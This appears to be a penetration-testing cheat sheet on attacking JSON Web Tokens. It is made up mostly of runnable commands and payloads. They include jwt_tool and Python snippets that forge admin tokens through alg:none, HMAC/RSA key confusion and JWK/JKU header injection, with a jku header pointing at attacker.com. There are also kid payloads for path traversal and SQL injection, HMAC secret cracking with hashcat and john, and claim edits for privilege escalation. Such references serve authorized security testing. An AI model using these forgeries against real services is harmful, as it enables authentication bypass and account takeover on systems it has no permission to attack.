← All cheat sheets

JWT-ATTACKS

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Interactive tool: JWT Decoder & Analyzer

Attacks against JSON Web Tokens (JWT) — manipulation, forgery,
and exploitation of common implementation flaws.

JWT STRUCTURE#

# Header.Payload.Signature (Base64URL encoded, dot-separated)

# Header (algorithm + type)
{"alg": "HS256", "typ": "JWT"}

# Payload (claims)
{"sub": "1234567890", "name": "John", "admin": false, "iat": 1516239022}

# Signature
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

# Decode (quick)
echo "eyJhb..." | base64 -d                # Won't work (URL-safe base64)
echo "eyJhb..." | python3 -c "import sys,base64; print(base64.urlsafe_b64decode(sys.stdin.read()+'=='))"

JWT_TOOL INSTALLATION#

# jwt_tool by ticarpi
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip install -r requirements.txt

# Usage
python3 jwt_tool.py <JWT_TOKEN>

JWT_TOOL COMMANDS#

# Decode and display JWT
python3 jwt_tool.py TOKEN

# Tamper mode (interactive editing)
python3 jwt_tool.py TOKEN -T

# All known attacks (automated)
python3 jwt_tool.py TOKEN -M at             # All tests
python3 jwt_tool.py TOKEN -M pb             # Playbook mode

# Specific attacks
python3 jwt_tool.py TOKEN -X a              # alg:none attack
python3 jwt_tool.py TOKEN -X n              # Null signature
python3 jwt_tool.py TOKEN -X s              # HMAC key confusion (RSA→HMAC)
python3 jwt_tool.py TOKEN -X k              # Key injection (jwk)
python3 jwt_tool.py TOKEN -X ku             # Key injection (jku)
python3 jwt_tool.py TOKEN -X i              # Inject inline JWKS

# Crack HMAC secret
python3 jwt_tool.py TOKEN -C -d wordlist.txt

# Sign with known secret
python3 jwt_tool.py TOKEN -S hs256 -p "secret"
python3 jwt_tool.py TOKEN -S hs384 -p "secret"
python3 jwt_tool.py TOKEN -S hs512 -p "secret"

# Sign with RSA key
python3 jwt_tool.py TOKEN -S rs256 -pr private.pem
python3 jwt_tool.py TOKEN -S rs256 -pr private.pem -pc public.pem

# Tamper specific claims
python3 jwt_tool.py TOKEN -T -S hs256 -p "secret"
# Then modify claims in interactive mode

ALGORITHM NONE ATTACK#

# Exploits: server doesn't validate algorithm field
# Change alg to "none" and remove signature

# Manual
# 1. Decode header, change "alg" to "none"
# 2. Modify payload as desired
# 3. Re-encode: base64url(header).base64url(payload).
# 4. Note trailing dot (empty signature)

# Variations
{"alg": "none"}
{"alg": "None"}
{"alg": "NONE"}
{"alg": "nOnE"}
{"alg": "noNe"}

# jwt_tool
python3 jwt_tool.py TOKEN -X a

# Python
import jwt
payload = {"sub": "admin", "admin": True}
token = jwt.encode(payload, key="", algorithm="none")

HMAC/RSA CONFUSION ATTACK (CVE-2016-10555)#

# Exploits: server uses RSA public key but accepts HMAC tokens
# Sign with HMAC using the RSA PUBLIC key as the HMAC secret

# 1. Obtain the server's RSA public key
# 2. Change alg from RS256 to HS256
# 3. Sign with the public key as HMAC secret

# jwt_tool
python3 jwt_tool.py TOKEN -X s -pk public.pem

# Python (PyJWT < 2.0 or with options)
import jwt
public_key = open('public.pem', 'r').read()
payload = {"sub": "admin", "admin": True}
token = jwt.encode(payload, public_key, algorithm='HS256')

# Finding public keys
  - /.well-known/jwks.json
  - /oauth/jwks
  - /api/keys
  - /openid-configuration
  - SSL/TLS certificate public key
  - X.509 certificates
  - jwk header parameter

JWK HEADER INJECTION#

# Exploits: server trusts the JWK embedded in the token header
# Inject your own public key in the header, sign with matching private key

# 1. Generate RSA key pair
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

# 2. Convert public key to JWK format
# 3. Inject JWK into token header
{"alg": "RS256", "typ": "JWT", "jwk": {"kty": "RSA", "n": "...", "e": "AQAB"}}

# 4. Sign with your private key

# jwt_tool
python3 jwt_tool.py TOKEN -X k -pk private.pem

JKU HEADER INJECTION#

# Exploits: server fetches JWK Set from URL in jku header
# Point jku to your server hosting your public key

# 1. Generate key pair
# 2. Create JWKS file with your public key
# 3. Host JWKS on your server
# 4. Set jku header to your URL
{"alg": "RS256", "jku": "https://attacker.com/.well-known/jwks.json"}

# jwt_tool
python3 jwt_tool.py TOKEN -X ku -ju "https://attacker.com/jwks.json" -pr private.pem

KID PARAMETER INJECTION#

# kid (Key ID) specifies which key to use for verification
# Often used as file path or database lookup

# Directory traversal (read known file as key)
{"alg": "HS256", "kid": "../../dev/null"}
# Sign with empty string as secret (null file = empty content)

{"alg": "HS256", "kid": "/proc/sys/kernel/hostname"}
# Sign with hostname as secret

{"alg": "HS256", "kid": "../../etc/hostname"}
# Sign with known file content

# SQL injection via kid
{"alg": "HS256", "kid": "1' UNION SELECT 'attacker_secret' -- "}

# jwt_tool
python3 jwt_tool.py TOKEN -T
# Edit kid value interactively

BRUTE FORCE / DICTIONARY ATTACK#

# Crack weak HMAC secrets

# jwt_tool
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt

# hashcat
hashcat -m 16500 jwt_hash.txt wordlist.txt
# Format: eyJhb...token_here

# john the ripper
john --wordlist=rockyou.txt jwt_hash.txt
# Use jwt2john.py to convert token first

# Common weak secrets
secret, password, 123456, admin, key, test, default
jwt_secret, token_secret, hmac_secret, my_secret

CLAIM MANIPULATION#

# Privilege escalation
{"admin": false}    → {"admin": true}
{"role": "user"}    → {"role": "admin"}
{"access": "read"}  → {"access": "write"}

# User impersonation
{"sub": "user123"}  → {"sub": "admin"}
{"uid": 1001}       → {"uid": 1}
{"email": "user@"} → {"email": "admin@"}

# Expiration bypass
{"exp": 1700000000} → {"exp": 9999999999}   # Far future
# Or remove exp claim entirely

# Audience/Issuer manipulation
{"iss": "legit.com"} → {"iss": "attacker.com"}
{"aud": "api"}       → {"aud": "admin-api"}

COMMON VULNERABILITIES#

1. Algorithm None          Server accepts unsigned tokens
2. HMAC/RSA Confusion      RSA public key used as HMAC secret
3. Weak HMAC Secret        Brute-forceable signing key
4. JWK/JKU Injection       Server trusts embedded/remote keys
5. KID Injection           Path traversal or SQLi via kid
6. Missing Expiration      Tokens never expire
7. No Signature Check      Server ignores signature entirely
8. Claim Not Validated     Role/privilege claims not server-checked
9. Token Reuse             Tokens valid after logout/revocation
10. Cross-Service Tokens   Token from service A accepted by B

USEFUL ENDPOINTS#

/.well-known/jwks.json                      # Public keys
/.well-known/openid-configuration           # OpenID config
/oauth/jwks                                 # OAuth keys
/api/v1/keys                                # API key endpoint
/auth/keys                                  # Auth keys
/certs                                      # Certificates

TESTING CHECKLIST#

[ ] Decode token and understand claims
[ ] Try alg:none attack
[ ] Try HMAC/RSA confusion (if RS256)
[ ] Brute force HMAC secret
[ ] Test claim manipulation (role, admin, sub)
[ ] Try JWK/JKU header injection
[ ] Test kid parameter injection
[ ] Check token expiration handling
[ ] Test token reuse after logout
[ ] Verify signature is actually checked
[ ] Check if refresh tokens are properly validated
[ ] Test cross-origin token acceptance

TIPS#

  - jwt_tool -M at runs all attacks automatically
  - Always decode the token first to understand the claims
  - Algorithm none is still found surprisingly often
  - Weak HMAC secrets are extremely common
  - JWK endpoints reveal which algorithms are expected
  - If RS256, try confusion attack with the public key
  - Kid injection is underexplored and often vulnerable
  - Check both access and refresh token security
  - Some implementations accept modified tokens with valid signatures
  - Burp Suite JWT extensions help with manual testing
  - CyberChef can decode JWT for quick inspection